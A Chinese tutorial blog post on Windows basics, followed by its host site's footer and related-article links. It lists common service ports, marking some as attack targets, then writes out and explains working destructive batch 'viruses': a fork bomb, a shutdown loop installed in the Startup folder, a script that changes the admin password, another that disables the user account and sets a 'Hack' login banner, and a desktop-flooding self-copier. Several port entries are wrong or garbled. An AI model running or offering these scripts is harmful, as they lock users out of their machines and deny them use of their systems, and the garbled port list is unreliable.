Winnows基礎(2)

Target

了解常見端口及服務,熟練cmd命令,編寫簡單的 .bat 病毒程序。

Trail

常見服務及端口

80 web
80-89 可能是web
443 ssl心臟滴血漏洞以及一些web漏洞測試
445 smb
1433 mssql
1521 oracle
2082/2083 cpanel主機管理系統登陸(國外用的較多)
2222 da虛擬主機管理系統登陸(國外較多)
3128 squid代理默認端口-漫游內網
3306 mysql
3312/3311 kangle主機管理系統登陸
3389 遠程桌面
5432 postgreSQL
5900 vnc(shodan演示過了)
6379 redis(未授權)
7001,7002 weblogic 默認弱口令,反序列化
7778 kloxo主機控制面板登錄
8000-9090 一些常見的web端口,有些運維喜歡把管理后臺開這些非80端口上面
8080 tomcat、wdcp主機管理系統,默認弱口令
8080,8089,9090 jboss
8083 vestacp主機管理系統(國外較多)
8649 ganglia
8888 寶塔主機管理默認端口
10000 virtualmin/webmin服務器虛擬主機管理系統
11211 memcache未授權訪問
27017,27018 mongodb未授權訪問(shodan講過)
28017 mongodb統計系統頁面

其他

21 FTP 文件傳輸服務
22 SSH 遠程連接服務
23 Telnet 終端仿真服務
25 SMTP 簡單郵件傳輸服務
53 DNS 域名解析服務
69 TFTP 小文件傳輸協議
80 HTTP Web服務
110 POP3 郵局協議版本3
123 NTP 網絡時間協議
135 Microsoft RPC 遠程過程調用
139 NetBIOS 網絡基本輸入輸出系統
143 IMAP 互聯網郵件訪問協議
161 SNMP 簡單網絡管理協議
194 IRC 互聯網中繼聊天
443 HTTPS 安全超文本傳輸協議
514 Syslog 系統日志
445 Microsoft-DS 活動目錄服務
512,513,514膏 Rlogin, who, syslog
873 rsync 遠程文件同步服務
995 POP3S POP3安全版
993 IMAP4S IMAP4安全版
1080 SOCKS代理端口
1433 Microsoft SQL Server
1521 Oracle 數據庫監聽端口
1723 PPTP 點對點隧道協議
1940, 1941 H.323 網絡語音協議
2000, 2001 Apple Filing Protocol
2049 NFS 網絡文件系統
2121 FTP 另一個文件傳輸服務端口
2181 ActiveMQ 默認端口
2222, 22222, 5222 SSH, SFTP 另一個遠程連接服務端口
3000, 3001, 3003 Web 服務端口
3306 MySQL 數據庫服務端口
3389 Microsoft RDP 遠程桌面服務
4899 rlogin遠程登錄服務
5000 SlingShot IP over DNS tunneling
5001, 5002, 5003, 5004 WinRM Windows遠程管理服務
5050, 5051, 5052 ActiveMQ 默認端口
5060 SIP Session Initiation Protocol
5190 Jabber XMPP通信協議
5222 SIP Session Initiation Protocol
5269 XMPP Extensible Messaging and Presence Protocol
5298, 5299 Stun波音公司協議
5900 vnc遠程桌面服務
6000 X11 遠程顯示系統
6001, 6002, 6003, 6004, 6005, 6006, 6007 X11 遠程顯示系統
6379 Redis 鍵值存儲數據庫
7000, 7001 RealNetworks Helix服務器
7002 WebLogic 默認弱口令端口
8000, 8001, 8002, 8003, 8004, 8005, 8006, 8007, 8008, 8009 Web 服務端口
8080 HTTP 代理服務端口
8081, 8082, 8083, 8084, 8085, 8086, 8087, 8088, 8089 Web 服務端口
9100, 9101 HP JetDirect 打印服務
9200, 9300 Elasticsearch 搜索引擎
9500 Samba Windows文件共享服務
9600, 9700, 9800, 9900, 10000 Virtualmin/Webmin Web 服務端口

病毒編寫

一、彈窗型資源耗盡

hack.bat

start cmd

%0

?在一個批處理(.bat)文件中,%0 是一個特殊的變量,它代表當前批處理文件本身的名稱

即可以實現重復執行

二、無限重啟型病毒

echo shutdown /s /t 0 > hack.bat
copy hack.bat
"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\"

?將自動重啟的bat文件添加到開啟自啟項

三、鎖機病毒

net user administrator 123456
shutdown /s /t 0

分析:更改密碼,關機

四、禁用當前用戶

@echo off
:: 獲取當前用戶名
for /f "tokens=2 delims=\ " %%a in ('whoami') do set username=%%a
:: 禁用當前用戶賬戶
net user %username% /active:no
:: 設置登錄提示信息
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v
legalnoticecaption /t REG_SZ /d "Hack !!!!!!!!" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v
legalnoticetext /t REG_SZ /d "Neuro Hack !!!!!!!。" /f
:: 立刻關機
shutdown /s /t 0

分析

1.關閉回顯

?echo off :將批處理文件中所有命令的回顯功能關閉。關閉回顯后,批處理文件中的命 令將不會顯示在命令行窗口中,僅顯示命令的輸出結果。這樣可以讓腳本執行過程更清 潔,避免用戶看到每一條執行的命令。

@ :在批處理文件中使用 @ 符號,表示只在當前行關閉回顯(在該行不顯示此命令本 身)。在這里, @ 用來隱藏 echo off 命令本身的回顯。也就是說,用戶不會在命令行 窗口中看到 echo off 。

2.獲取用戶信息

cmd中可以使用 whoami 獲取當前用戶信息,但是 whoami 會包含用戶所處域的名稱,例 如 DESKTOP-12345\John ,我們需要使用腳本處理該段字符串,獲取后面的用戶名。

3.禁用當前用戶賬戶

net user %username% /active:no

4.設置登錄提示信息

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v
legalnoticecaption /t REG_SZ /d "xxx" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v
legalnoticetext /t REG_SZ /d "xxx" /f

使用 reg add 向注冊表中添加登錄提示信息

legalnoticecaption :設置提示框標題。 legalnoticetext :設置提示內容,這里可以自定義為“你已經被hack,你的賬戶已被鎖 定,請聯系管理員。”

5.立刻關閉主機

shutdown /s /t 0

腳本運行過程

1. 運行腳本:以管理員權限運行該批處理腳本。

2. 賬戶禁用:腳本會獲取當前用戶名,并將該用戶賬戶設置為禁用狀態。

3. 立刻關閉主機:腳本在禁用賬戶后會立刻關閉主機。

4. 嘗試重新登錄:當用戶再次登錄系統時,將顯示“賬戶已被鎖定,請聯系管理員”的提示。 5. 賬戶禁用效果:賬戶被禁用后,即使輸入正確的密碼也無法登錄系統。

五、無限復制

將自己無線復制到桌面

@echo off
setlocal enabledelayedexpansion
:: 獲取當前腳本文件路徑和文件名
set scriptPath=%~f0
set desktopPath=%USERPROFILE%\Desktop
:: 無限復制當前腳本到桌面
:loop
set /a count+=1
copy "%scriptPath%" "%desktopPath%\Copy_%count%.bat"
goto loop

1.

setlocal enabledelayedexpansion :啟用延遲變量擴展,這樣可以在循環中動態更新 變量的值。延遲擴展在批處理腳本中非常有用,特別是在處理循環時。

但實測后不加這個行代碼對當期那腳本無影響,可能最是對for循環有作用。?

2.

set scriptPath=%~f0 :獲取當前腳本文件的完整路徑,并將其存儲在變量 scriptPath 中。 %~f0 表示當前批處理文件的完整路徑。

set desktopPath=%USERPROFILE%\Desktop :獲取當前用戶桌面的路徑,將其存儲在變 量 desktopPath 中。 %USERPROFILE% 是系統環境變量,指向當前用戶的主文件夾路 徑。 ?

3.

?? 1) loop :定義一個標簽 loop ,用于無限循環的入口。

?? 2) set /a count+=1 :定義一個計數器 count ,并在每次循環時自增 1,用于生成唯一的 文件名, /a 告訴 set 命令對右側的表達式進行算術運算。

?? 3) copy "%scriptPath%" "%desktopPath%\Copy_%count%.bat" :將當前腳本文件復制到 桌面,并命名為 Copy_1.bat 、 Copy_2.bat 等等。 %count% 確保每次復制文件的文件 名不同,以避免覆蓋。

?? 4)goto loop :跳轉回 loop 標簽,形成無限循環

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/63633.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/63633.shtml
英文地址,請注明出處:http://en.pswp.cn/web/63633.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Edge Scdn用起來怎么樣?

Edge Scdn:提升網站安全與性能的最佳選擇 在當今互聯網高速發展的時代,各種網絡攻擊層出不窮,特別是針對網站的DDoS攻擊威脅,幾乎每個行業都可能成為目標。為了確保網站的安全性與穩定性,越來越多的企業開始關注Edge …

通信技術以及5G和AI保障電網安全與網絡安全

摘 要:電網安全是電力的基礎,隨著智能電網的快速發展,越來越多的ICT信息通信技術被應用到電力網絡。本文分析了歷史上一些重大電網安全與網絡安全事故,介紹了電網安全與網絡安全、通信技術與電網安全的關系以及相應的電網安全標準…

梯度(Gradient)和 雅各比矩陣(Jacobian Matrix)的區別和聯系:中英雙語

雅各比矩陣與梯度:區別與聯系 在數學與機器學習中,梯度(Gradient) 和 雅各比矩陣(Jacobian Matrix) 是兩個核心概念。雖然它們都描述了函數的變化率,但應用場景和具體形式有所不同。本文將通過…

時間序列預測論文閱讀和相關代碼庫

時間序列預測論文閱讀和相關代碼庫列表 MLP-based的時間序列預測資料DLinearUnetTSFPDMLPLightTS 代碼庫以及論文庫:Time-Series-LibraryUnetTSFLightTS MLP-based的時間序列預測資料 我會定期把我的所有時間序列預測論文有關的資料鏈接全部同步到這個文章中&#…

引言和相關工作的區別

引言和相關工作的區別 引言 目的與重點 引言主要是為了引出研究的主題,向讀者介紹為什么這個研究問題是重要且值得關注的。它通常從更廣泛的背景出發,闡述研究領域的現狀、面臨的問題或挑戰,然后逐漸聚焦到論文要解決的具體問題上。例如,在這篇關于聯邦學習數據交易方案的…

GitLab分支管理策略和最佳實踐

分支管理是 Git 和 GitLab 中非常重要的部分,合理的分支管理可以幫助團隊更高效地協作和開發。以下是一些細化的分支管理策略和最佳實踐: 1. 分支命名規范 ? 主分支:通常命名為 main 或 master,用于存放穩定版本的代碼。 ? …

批量提取zotero的論文構建知識庫做問答的大模型(可選)——含轉存PDF-分割統計PDF等

文章目錄 提取zotero的PDF上傳到AI平臺保留文件名代碼分成20個PDF視頻講解 提取zotero的PDF 右鍵查看目錄 發現目錄為 C:\Users\89735\Zotero\storage 寫代碼: 掃描路徑‘C:\Users\89735\Zotero\storage’下面的所有PDF文件,全部復制一份匯總到"C:\Users\89735\Downl…

LabVIEW實現NB-IoT通信

目錄 1、NB-IoT通信原理 2、硬件環境部署 3、程序架構 4、前面板設計 5、程序框圖設計 6、測試驗證 本專欄以LabVIEW為開發平臺,講解物聯網通信組網原理與開發方法,覆蓋RS232、TCP、MQTT、藍牙、Wi-Fi、NB-IoT等協議。 結合實際案例,展示如何利用LabVIEW和常用模塊實現物聯網…

面試題整理9----談談對k8s的理解2

面試題整理9----談談對k8s的理解2 1. Service 資源1.1 ServiceClusterIPNodePortLoadBalancerIngressExternalName 1.2 Endpoints1.3 Ingress1.4 EndpointSlice1.5 IngressClass 2. 配置和存儲資源2.1 ConfigMap2.2 Secret2.3 PersistentVolume2.4 PersistentVolumeClaim2.5 St…

精準采集整車信號:風丘混合動力汽車工況測試

一 背景 混合動力汽車是介于純電動汽車與燃油汽車兩者之間的一種新能源汽車。它既包含純電動汽車無污染、啟動快的優勢,又擁有燃油車續航便捷、不受電池容量限制的特點。在當前環境下,混合動力汽車比純電動汽車更符合目前的市場需求。 然而&#xff0c…

帶標題和不帶標題的內部表

什么是工作區? 什么是工作區?簡單來說,工作區是單行數據。它們應具有與任何內部表相同的格式。它用于一次處理一行內部表中的數據。 內表和工作區的區別 ? 一圖勝千言 內表的類型 有兩種類型的內表: 帶 Header 行…

【圖像分類實用腳本】數據可視化以及高數量類別截斷

圖像分類時,如果某個類別或者某些類別的數量遠大于其他類別的話,模型在計算的時候,更傾向于擬合數量更多的類別;因此,觀察類別數量以及對數據量多的類別進行截斷是很有必要的。 1.準備數據 數據的格式為圖像分類數據集…

【Leetcode 每日一題】2545. 根據第 K 場考試的分數排序

問題背景 班里有 m m m 位學生,共計劃組織 n n n 場考試。給你一個下標從 0 0 0 開始、大小為 m n m \times n mn 的整數矩陣 s c o r e score score,其中每一行對應一位學生,而 s c o r e [ i ] [ j ] score[i][j] score[i][j] 表示…

React系列(八)——React進階知識點拓展

前言 在之前的學習中,我們已經知道了React組件的定義和使用,路由配置,組件通信等其他方法的React知識點,那么本篇文章將針對React的一些進階知識點以及React16.8之后的一些新特性進行講解。希望對各位有所幫助。 一、setState &am…

PCIe_Host驅動分析_地址映射

往期內容 本文章相關專欄往期內容,PCI/PCIe子系統專欄: 嵌入式系統的內存訪問和總線通信機制解析、PCI/PCIe引入 深入解析非橋PCI設備的訪問和配置方法 PCI橋設備的訪問方法、軟件角度講解PCIe設備的硬件結構 深入解析PCIe設備事務層與配置過程 PCIe的三…

【閱讀記錄-章節6】Build a Large Language Model (From Scratch)

文章目錄 6. Fine-tuning for classification6.1 Different categories of fine-tuning6.2 Preparing the dataset第一步:下載并解壓數據集第二步:檢查類別標簽分布第三步:創建平衡數據集第四步:數據集拆分 6.3 Creating data loa…

ip_output函數

ip_output函數是Linux內核(特別是網絡子系統)中用于發送IPv4數據包的核心函數。以下是一個示例實現,并附上詳細的中文講解: int ip_output(struct net *net, struct sock *sk, struct sk_buff *skb) {struct iphdr *iph; /* 構建IP頭部 */iph = ip_hdr(skb);/* 設置服務…

梳理你的思路(從OOP到架構設計)_簡介設計模式

目錄 1、 模式(Pattern) 是較大的結構?編輯 2、 結構形式愈大 通用性愈小?編輯 3、 從EIT造形 組合出設計模式 1、 模式(Pattern) 是較大的結構 組合與創新 達芬奇說:簡單是複雜的終極形式 (Simplicity is the ultimate form of sophistication) —Leonardo d…

用SparkSQL和PySpark完成按時間字段順序將字符串字段中的值組合在一起分組顯示

用SparkSQL和PySpark完成以下數據轉換。 源數據: userid,page_name,visit_time 1,A,2021-2-1 2,B,2024-1-1 1,C,2020-5-4 2,D,2028-9-1 目的數據: user_id,page_name_path 1,C->A 2,B->D PySpark: from pyspark.sql import SparkSes…

【libuv】Fargo信令2:【深入】client為什么收不到服務端響應的ack消息

客戶端處理server的ack回復,判斷鏈接連接建立 【Fargo】28:字節序列【libuv】Fargo信令1:client發connect消息給到server客戶端啟動后理解監聽read消息 但是,這個代碼似乎沒有觸發ack消息的接收: // 客戶端初始化 void start_client(uv_loop_t